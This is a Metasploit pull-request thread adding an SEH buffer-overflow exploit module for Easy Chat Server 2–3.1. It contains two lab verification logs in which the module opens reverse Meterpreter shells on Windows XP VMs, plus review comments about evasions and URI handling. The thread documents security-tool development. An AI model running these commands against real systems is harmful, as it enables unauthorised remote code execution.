Easy Chat Server 2 to 3.1 - Buffer overflow (SEH) exploit

[Mzack9999]

This module exploits a buffer overflow vulnerability of Easy Chat Server. Versions from 2 to 3.1 seem to be affected.

Verification

Tested on: Windows XP Sp3 English
Vulnerable application: http://echatserver.com/ecssetup.exe

Example output:

marco@kali:~$ msfconsole -q
msf > use exploit/windows/http/easychatserver_seh
msf exploit(easychatserver_seh) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf exploit(easychatserver_seh) > exploit
 
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Sending stage (957487 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1037) at 2017-06-20 00:43:51 +0200
 
meterpreter > sysinfo
Computer    	: MM-8B040C5B05D9
OS          	: Windows XP (Build 2600, Service Pack 3).
Architecture	: x86
System Language : en_US
Domain      	: WORKGROUP
Logged On Users : 2
Meterpreter 	: x86/windows
meterpreter > exit
[*] Shutting down Meterpreter...
 
[*] 192.168.56.101 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(easychatserver_seh) >

[wvu]

Why?

[Mzack9999]

I used the Msf::Exploit::Remote::Tcp with direct socket connection, because with the HttpClient somehow the payload opcodes got a wrong encoding. Would it be better to change the implementation to use send_request_cgi with var_post?

[wvu]

You should use the HTTP mixin if possible so you can get all the evasions and stuff.

[pbarry-r7]

Verified against my XP SP3 x86 VM:

$ ./msfconsole -q
msf > use exploit/windows/http/easychatserver_seh
msf exploit(easychatserver_seh) > set rhost 10.0.2.15
rhost => 10.0.2.15
msf exploit(easychatserver_seh) > run

[*] Started reverse TCP handler on 10.0.2.4:4444 
[*] Sending stage (957487 bytes) to 10.0.2.15
[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.15:1056) at 2017-07-14 15:12:35 -0500

meterpreter > getuid
Server username: PB-WINXP-VM\PB
meterpreter > sysinfo
Computer        : PB-WINXP-VM
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

Thanks for the submission, @Mzack9999!

[pbarry-r7]

Release Notes

The exploits/windows/http/easychatserver_seh module has been added to the framework. This new module exploits vulnerable versions of Easy Chat Server, a Windows web-based chat application, to gain remote code execution.

[wvu]

I think you want to register TARGETURI.

[wvu]

This should be target_uri.path instead of URI...

[wvu]

This is redundant.